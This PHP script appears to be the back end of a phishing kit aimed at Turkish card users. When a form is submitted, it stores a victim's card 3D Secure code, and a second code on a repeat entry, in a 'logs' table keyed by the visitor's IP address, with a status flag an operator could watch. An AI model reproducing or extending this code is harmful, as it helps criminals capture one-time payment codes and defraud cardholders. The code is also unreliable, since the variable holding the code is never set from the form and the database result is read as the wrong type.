<?php
include_once('../inc/helper.php');
session_start();
ob_start();
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}
$userIP = getUserIP();

if (isset($_POST['sifreGonder']))
{
    $sql = "SELECT * FROM logs WHERE ipaddr = :ipaddr";
    $stmt = $db->prepare($sql);
    $stmt->execute(['ipaddr' => $userIP]);
    $checkLog = $stmt->fetch(PDO::FETCH_OBJ);
    if ($checkLog['card_3dcode'] == NULL)
    {
        //ilk şifre girişi
        try
        {
            $sql = "UPDATE logs SET card_3dcode = :card_3dcode, `status` = 12 WHERE ipaddr = :ipaddr";
            $stmt = $db->prepare($sql);
            $stmt->bindParam(':card_3dcode', $card_3dcode);
            $stmt->bindParam(':ipaddr', $userIP);
            $stmt->execute();
        } catch (PDOException $e)
        {
            echo "Hata: " . $e->getMessage();
            die();
        }
    }
    else
    {
        //ikinci şifre girişi
        try
        {
            $sql = "UPDATE logs SET secure_code = :card_3dcode, `status` = 12 WHERE ipaddr = :ipaddr";
            $stmt = $db->prepare($sql);
            $stmt->bindParam(':card_3dcode', $card_3dcode);
            $stmt->bindParam(':ipaddr', $userIP);
            $stmt->execute();
        } catch (PDOException $e)
        {
            echo "Hata: " . $e->getMessage();
            die();
        }
    }
}